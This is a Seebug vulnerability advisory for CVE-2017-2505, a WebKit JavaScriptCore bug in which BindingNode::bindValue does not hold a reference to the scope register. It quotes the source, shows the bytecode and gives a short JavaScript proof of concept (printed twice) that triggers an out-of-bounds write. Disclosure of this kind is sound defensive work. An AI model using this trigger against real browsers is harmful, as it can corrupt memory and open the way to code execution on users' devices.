Lucene search

K
seebugRootSSV:93145
HistoryMay 26, 2017 - 12:00 a.m.

WebKit: JSC: BindingNode::bindValue doesn't increase the scope's reference count(CVE-2017-2505)

2017-05-2600:00:00
Root
www.seebug.org
18

0.007 Low

EPSS

Percentile

77.3%

An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. Safari before 10.1.1 is affected. tvOS before 10.2.1 is affected. The issue involves the “WebKit” component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site.

Here’s a snippet of BindingNode::bindValue.

void BindingNode::bindValue(BytecodeGenerator& generator, RegisterID* value) const
{
    ...
    RegisterID* scope = generator.emitResolveScope(nullptr, var);
    generator.emitExpressionInfo(divotEnd(), divotStart(), divotEnd());
    if (m_bindingContext == AssignmentContext::AssignmentExpression)
        generator.emitTDZCheckIfNecessary(var, nullptr, scope);
    if (isReadOnly) {
        generator.emitReadOnlyExceptionIfNeeded(var);
        return;
    }
    generator.emitPutToScope(scope, var, value, generator.isStrictMode() ? ThrowIfNotFound : DoNotThrowIfNotFound, initializationModeForAssignmentContext(m_bindingContext));
    generator.emitProfileType(value, var, divotStart(), divotEnd());
    if (m_bindingContext == AssignmentContext::DeclarationStatement || m_bindingContext == AssignmentContext::ConstDeclarationStatement)
        generator.liftTDZCheckIfPossible(var);
    ...
}

That method uses |scope| without increasing its reference count. Thus, in |emitTDZCheckIfNecessary|, same |RegisterID| might be used.

Generated opcode of the PoC:

[ 124] resolve_scope     loc13, loc3, a(@id4), <ClosureVar>, 0, 0x62d00011f1a0
[ 131] get_from_scope    loc13, loc13, a(@id4), 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, 0    predicting None
[ 139] op_check_tdz      loc13
[ 141] put_to_scope      loc13, a(@id4), loc12, 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, <structure>, 0

At 131, loc13 which points the scope is overwritten with |a|.
At 141, |a| is used as a scope, and it causes OOB write.

PoC:

(function () {
    let a = {
        get val() {
            [...{a = 1.45}] = [];
            a.val.x;
        },
    };

    a.val;
})();

                                                (function () {
    let a = {
        get val() {
            [...{a = 1.45}] = [];
            a.val.x;
        },
    };

    a.val;
})();